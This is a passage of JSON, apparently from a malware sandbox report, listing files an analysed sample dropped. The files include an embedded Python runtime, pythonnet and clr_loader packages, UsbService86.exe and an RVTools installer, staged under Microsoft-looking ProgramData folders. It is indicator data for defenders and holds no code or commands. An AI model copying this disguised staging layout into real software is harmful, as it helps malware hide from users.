.0.dist-info\\top_level.txt","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\SystemWEB\\SystemInfo\\cffi-2.0.0.dist-info","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\SystemWEB\\SystemInfo\\cffi-2.0.0.dist-info\\licenses\\AUTHORS","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\SystemWEB\\SystemInfo\\cffi-2.0.0.dist-info\\licenses\\LICENSE","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\SystemWEB\\SystemInfo\\clr-1.0.3.dist-info\\DESCRIPTION.rst","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\SystemWEB\\SystemInfo\\clr-1.0.3.dist-info\\INSTALLER","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\SystemWEB\\SystemInfo\\clr-1.0.3.dist-info\\METADATA","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\SystemWEB\\SystemInfo\\clr-1.0.3.dist-info\\RECORD","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\SystemWEB\\SystemInfo\\clr-1.0.3.dist-info\\REQUESTED","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\SystemWEB\\SystemInfo\\clr-1.0.3.dist-info\\WHEEL","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\SystemWEB\\SystemInfo\\clr-1.0.3.dist-info\\metadata.json","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\SystemWEB\\SystemInfo\\clr-1.0.3.dist-info\\top_level.txt","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\SystemWEB\\SystemInfo\\clr_loader\\__init__.py","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\SystemWEB\\SystemInfo\\clr_loader\\hostfxr.py","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\SystemWEB\\SystemInfo\\clr_loader\\mono.py","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\SystemWEB\\SystemInfo\\clr_loader\\netfx.py","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\SystemWEB\\SystemInfo\\clr_loader\\py.typed","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\SystemWEB\\SystemInfo\\clr_loader\\types.py","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\SystemWEB\\SystemInfo\\clr_loader","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\SystemWEB\\SystemInfo\\clr_loader\\__pycache__\\__init__.cpython-312.pyc","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\SystemWEB\\SystemInfo\\clr_loader\\__pycache__\\hostfxr.cpython-312.pyc","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\SystemWEB\\SystemInfo\\clr_loader\\__pycache__\\mono.cpython-312.pyc","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\SystemWEB\\SystemInfo\\clr_loader\\__pycache__\\netfx.cpython-312.pyc","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\SystemWEB\\SystemInfo\\clr_loader\\__pycache__\\types.cpython-312.pyc","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\SystemWEB\\SystemInfo\\clr_loader\\ffi\\__init__.py","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\SystemWEB\\SystemInfo\\clr_loader\\ffi\\hostfxr.py","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\SystemWEB\\SystemInfo\\clr_loader\\ffi\\mono.py","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\SystemWEB\\SystemInfo\\clr_loader\\ffi\\netfx.py","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\SystemWEB\\SystemInfo\\clr_loader\\ffi","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\SystemWEB\\SystemInfo\\clr_loader\\ffi\\__pycache__\\__init__.cpython-312.pyc","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\SystemWEB\\SystemInfo\\clr_loader\\ffi\\__pycache__\\hostfxr.cpython-312.pyc","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\SystemWEB\\SystemInfo\\clr_loader\\ffi\\__pycache__\\mono.cpython-312.pyc","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\SystemWEB\\SystemInfo\\clr_loader\\ffi\\__pycache__\\netfx.cpython-312.pyc","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\SystemWEB\\SystemInfo\\clr_loader\\ffi\\dlls","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\SystemWEB\\SystemInfo\\clr_loader\\ffi\\dlls\\amd64\\ClrLoader.dll","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\SystemWEB\\SystemInfo\\clr_loader\\ffi\\dlls\\amd64\\ClrLoader.pdb","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\SystemWEB\\SystemInfo\\clr_loader\\ffi\\dlls\\x86\\ClrLoader.dll","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\SystemWEB\\SystemInfo\\clr_loader\\ffi\\dlls\\x86\\ClrLoader.pdb","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\SystemWEB\\SystemInfo\\clr_loader\\util\\__init__.py","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\SystemWEB\\SystemInfo\\clr_loader\\util\\clr_error.py","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\SystemWEB\\SystemInfo\\clr_loader\\util\\coreclr_errors.py","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\SystemWEB\\SystemInfo\\clr_loader\\util\\find.py","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\SystemWEB\\SystemInfo\\clr_loader\\util\\hostfxr_errors.py","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\SystemWEB\\SystemInfo\\clr_loader\\util\\runtime_spec.py","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\SystemWEB\\SystemInfo\\clr_loader\\util","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\SystemWEB\\SystemInfo\\clr_loader\\util\\__pycache__\\__init__.cpython-312.pyc","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\SystemWEB\\SystemInfo\\clr_loader\\util\\__pycache__\\clr_error.cpython-312.pyc","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\SystemWEB\\SystemInfo\\clr_loader\\util\\__pycache__\\coreclr_errors.cpython-312.pyc","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\SystemWEB\\SystemInfo\\clr_loader\\util\\__pycache__\\find.cpython-312.pyc","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\SystemWEB\\SystemInfo\\clr_loader\\util\\__pycache__\\hostfxr_errors.cpython-312.pyc","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\SystemWEB\\SystemInfo\\clr_loader\\util\\__pycache__\\runtime_spec.cpython-312.pyc","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\SystemWEB\\SystemInfo\\clr_loader-0.2.9.dist-info\\INSTALLER","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\SystemWEB\\SystemInfo\\clr_loader-0.2.9.dist-info\\METADATA","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\SystemWEB\\SystemInfo\\clr_loader-0.2.9.dist-info\\RECORD","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\SystemWEB\\SystemInfo\\clr_loader-0.2.9.dist-info\\WHEEL","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\SystemWEB\\SystemInfo\\clr_loader-0.2.9.dist-info\\top_level.txt","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\SystemWEB\\SystemInfo\\pycparser\\__init__.py","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\SystemWEB\\SystemInfo\\pycparser\\_ast_gen.py","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\SystemWEB\\SystemInfo\\pycparser\\_build_tables.py","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\SystemWEB\\SystemInfo\\pycparser\\_c_ast.cfg","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\SystemWEB\\SystemInfo\\pycparser\\ast_transforms.py","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\SystemWEB\\SystemInfo\\pycparser\\c_ast.py","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\SystemWEB\\SystemInfo\\pycparser\\c_generator.py","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\SystemWEB\\SystemInfo\\pycparser\\c_lexer.py","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\SystemWEB\\SystemInfo\\pycparser\\c_parser.py","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\SystemWEB\\SystemInfo\\pycparser\\lextab.py","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\SystemWEB\\SystemInfo\\pycparser\\plyparser.py","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\SystemWEB\\SystemInfo\\pycparser\\yacctab.py","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\SystemWEB\\SystemInfo\\pycparser","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\SystemWEB\\SystemInfo\\pycparser\\__pycache__\\__init__.cpython-312.pyc","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\SystemWEB\\SystemInfo\\pycparser\\__pycache__\\_ast_gen.cpython-312.pyc","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\SystemWEB\\SystemInfo\\pycparser\\__pycache__\\_build_tables.cpython-312.pyc","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\SystemWEB\\SystemInfo\\pycparser\\__pycache__\\ast_transforms.cpython-312.pyc","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\SystemWEB\\SystemInfo\\pycparser\\__pycache__\\c_ast.cpython-312.pyc","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\SystemWEB\\SystemInfo\\pycparser\\__pycache__\\c_generator.cpython-312.pyc","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\SystemWEB\\SystemInfo\\pycparser\\__pycache__\\c_lexer.cpython-312.pyc","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\SystemWEB\\SystemInfo\\pycparser\\__pycache__\\c_parser.cpython-312.pyc","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\SystemWEB\\SystemInfo\\pycparser\\__pycache__\\lextab.cpython-312.pyc","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\SystemWEB\\SystemInfo\\pycparser\\__pycache__\\plyparser.cpython-312.pyc","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\SystemWEB\\SystemInfo\\pycparser\\__pycache__\\yacctab.cpython-312.pyc","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\SystemWEB\\SystemInfo\\pycparser\\ply\\__init__.py","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\SystemWEB\\SystemInfo\\pycparser\\ply\\cpp.py","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\SystemWEB\\SystemInfo\\pycparser\\ply\\ctokens.py","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\SystemWEB\\SystemInfo\\pycparser\\ply\\lex.py","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\SystemWEB\\SystemInfo\\pycparser\\ply\\yacc.py","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\SystemWEB\\SystemInfo\\pycparser\\ply\\ygen.py","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\SystemWEB\\SystemInfo\\pycparser\\ply","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\SystemWEB\\SystemInfo\\pycparser\\ply\\__pycache__\\__init__.cpython-312.pyc","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\SystemWEB\\SystemInfo\\pycparser\\ply\\__pycache__\\cpp.cpython-312.pyc","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\SystemWEB\\SystemInfo\\pycparser\\ply\\__pycache__\\ctokens.cpython-312.pyc","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\SystemWEB\\SystemInfo\\pycparser\\ply\\__pycache__\\lex.cpython-312.pyc","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\SystemWEB\\SystemInfo\\pycparser\\ply\\__pycache__\\yacc.cpython-312.pyc","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\SystemWEB\\SystemInfo\\pycparser\\ply\\__pycache__\\ygen.cpython-312.pyc","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\SystemWEB\\SystemInfo\\pycparser-2.23.dist-info\\INSTALLER","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\SystemWEB\\SystemInfo\\pycparser-2.23.dist-info\\LICENSE","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\SystemWEB\\SystemInfo\\pycparser-2.23.dist-info\\METADATA","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\SystemWEB\\SystemInfo\\pycparser-2.23.dist-info\\RECORD","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\SystemWEB\\SystemInfo\\pycparser-2.23.dist-info\\WHEEL","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\SystemWEB\\SystemInfo\\pycparser-2.23.dist-info\\top_level.txt","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\SystemWEB\\SystemInfo\\pythonnet\\__init__.py","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\SystemWEB\\SystemInfo\\pythonnet","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\SystemWEB\\SystemInfo\\pythonnet\\__pycache__\\__init__.cpython-312.pyc","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\SystemWEB\\SystemInfo\\pythonnet\\runtime\\Python.Runtime.deps.json","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\SystemWEB\\SystemInfo\\pythonnet\\runtime\\Python.Runtime.dll","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\SystemWEB\\SystemInfo\\pythonnet\\runtime\\Python.Runtime.pdb","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\SystemWEB\\SystemInfo\\pythonnet\\runtime\\Python.Runtime.xml","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\SystemWEB\\SystemInfo\\pythonnet-3.0.5.dist-info\\INSTALLER","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\SystemWEB\\SystemInfo\\pythonnet-3.0.5.dist-info\\METADATA","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\SystemWEB\\SystemInfo\\pythonnet-3.0.5.dist-info\\RECORD","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\SystemWEB\\SystemInfo\\pythonnet-3.0.5.dist-info\\REQUESTED","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\SystemWEB\\SystemInfo\\pythonnet-3.0.5.dist-info\\WHEEL","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\SystemWEB\\SystemInfo\\pythonnet-3.0.5.dist-info\\top_level.txt","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\SystemWEB\\SystemInfo\\LICENSE1.txt","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\AppUpdate\\SystemInfo\\Unicode.Data.Automation.dll","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\AppUpdate\\SystemInfo\\UsbService86.exe","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\AppUpdate\\SystemInfo\\_asyncio.pyd","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\AppUpdate\\SystemInfo\\_bz2.pyd","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\AppUpdate\\SystemInfo\\_cffi_backend.cp312-win_amd64.pyd","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\AppUpdate\\SystemInfo\\_ctypes.pyd","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\AppUpdate\\SystemInfo\\_decimal.pyd","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\AppUpdate\\SystemInfo\\_elementtree.pyd","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\AppUpdate\\SystemInfo\\_hashlib.pyd","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\AppUpdate\\SystemInfo\\_lzma.pyd","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\AppUpdate\\SystemInfo\\_msi.pyd","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\AppUpdate\\SystemInfo\\_multiprocessing.pyd","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\AppUpdate\\SystemInfo\\_overlapped.pyd","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\AppUpdate\\SystemInfo\\_queue.pyd","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\AppUpdate\\SystemInfo\\_socket.pyd","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\AppUpdate\\SystemInfo\\_sqlite3.pyd","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\AppUpdate\\SystemInfo\\_ssl.pyd","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\AppUpdate\\SystemInfo\\_uuid.pyd","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\AppUpdate\\SystemInfo\\_wmi.pyd","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\AppUpdate\\SystemInfo\\_zoneinfo.pyd","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\AppUpdate\\SystemInfo\\clr.py","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\AppUpdate\\SystemInfo\\libcrypto-3.dll","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\AppUpdate\\SystemInfo\\libffi-8.dll","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\AppUpdate\\SystemInfo\\libssl-3.dll","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\AppUpdate\\SystemInfo\\pyexpat.pyd","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\AppUpdate\\SystemInfo\\python.cat","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\AppUpdate\\SystemInfo\\python.exe","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\AppUpdate\\SystemInfo\\python3.dll","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\AppUpdate\\SystemInfo\\python312._pth","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\AppUpdate\\SystemInfo\\python312.dll","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\AppUpdate\\SystemInfo\\python312.zip","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\AppUpdate\\SystemInfo\\rvtools4.7.1.msi","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\AppUpdate\\SystemInfo\\select.pyd","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\AppUpdate\\SystemInfo\\sqlite3.dll","sources":[{"report_type":"sandbox","report_id":"6965de992d7aa6aac6018732"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\AppUpdate\\SystemInfo\\unicodedata.pyd","sources":[